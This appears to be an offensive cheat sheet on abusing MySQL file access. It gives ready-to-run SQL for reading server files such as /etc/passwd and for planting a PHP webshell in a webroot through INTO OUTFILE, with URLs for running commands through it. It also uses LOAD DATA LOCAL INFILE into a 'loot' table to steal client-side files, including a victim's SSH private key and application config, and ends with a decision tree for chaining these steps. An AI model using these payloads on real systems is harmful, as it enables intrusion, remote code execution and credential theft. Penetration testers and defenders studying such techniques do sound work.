MySQL file access is usually controlled by the FILE privilege and secure_file_priv.
The most important split:
server-side file access -> MySQL server reads/writes files
client-side file access -> MySQL client reads local files through LOCAL INFILE
Server-Side File Read
Check capability:
SHOW GRANTS FOR CURRENT_USER();
SHOW VARIABLES LIKE 'secure_file_priv';
Read a file:
SELECT LOAD_FILE('/etc/passwd');
Windows example:
SELECT LOAD_FILE('C:/Windows/win.ini');
Requirements:
FILEprivilege- file exists
- file is readable by the MySQL service account
- file path is allowed by
secure_file_privwhen it is set - result fits within relevant packet/result limits
Server-Side File Write
Write query output:
SELECT 'test' INTO OUTFILE '/var/lib/mysql-files/test.txt';
Write raw bytes:
SELECT 'test' INTO DUMPFILE '/var/lib/mysql-files/test.bin';
OUTFILE is useful for text output. DUMPFILE is useful when exact bytes matter, such as UDF libraries.
Important behavior:
INTO OUTFILE and INTO DUMPFILE do not overwrite existing files.
Webshell Through OUTFILE
If the webroot is known and writable by the MySQL service account:
SELECT '<?php system($_GET["c"]); ?>'
INTO OUTFILE '/var/www/html/shell.php';
Then execute through the web server:
http://TARGET/shell.php?c=id
http://TARGET/shell.php?c=whoami
Windows/XAMPP-style example:
SELECT '<?php system($_GET["c"]); ?>'
INTO OUTFILE 'C:/xampp/htdocs/shell.php';
If the payload fails, check:
SHOW VARIABLES LIKE 'secure_file_priv';
SELECT LOAD_FILE('/var/www/html/index.php');
The webshell chain requires both database file write and web server execution.
LOCAL INFILE
LOCAL INFILE reads from the client host, not the MySQL server host.
This matters when the client is a web application server, an admin workstation, phpMyAdmin, a CLI client, or any process that connects to the database and permits local infile.
Check:
SHOW VARIABLES LIKE 'local_infile';
Prepare a simple receiving table in the current database:
CREATE TABLE loot(line TEXT);
Commands:
LOAD DATA LOCAL INFILE '/var/www/html/config.php' INTO TABLE loot;
Client-side SSH key theft:
LOAD DATA LOCAL INFILE '/home/victim/.ssh/id_rsa' INTO TABLE loot;
General client-side file read:
LOAD DATA LOCAL INFILE '/etc/passwd'
INTO TABLE loot
FIELDS TERMINATED BY '\n';
Why this is different:
- Works without
FILEprivilege. - Bypasses server-side
secure_file_priv. - Reads files from the client-side machine.
- Requires the client and server workflow to allow
LOCAL INFILE.
In a SQL injection chain, the "client" may be the application server's MySQL library. In a phishing or rogue-server chain, the "client" may be an administrator's workstation.
File Access Decision Tree
Need server file read?
check FILE
check secure_file_priv
use LOAD_FILE()
Need server file write?
check FILE
check secure_file_priv
use INTO OUTFILE or DUMPFILE
Need webshell?
prove webroot path
prove MySQL service account can write there
write PHP through OUTFILE
Need client-side file theft?
check local_infile
trigger LOAD DATA LOCAL INFILE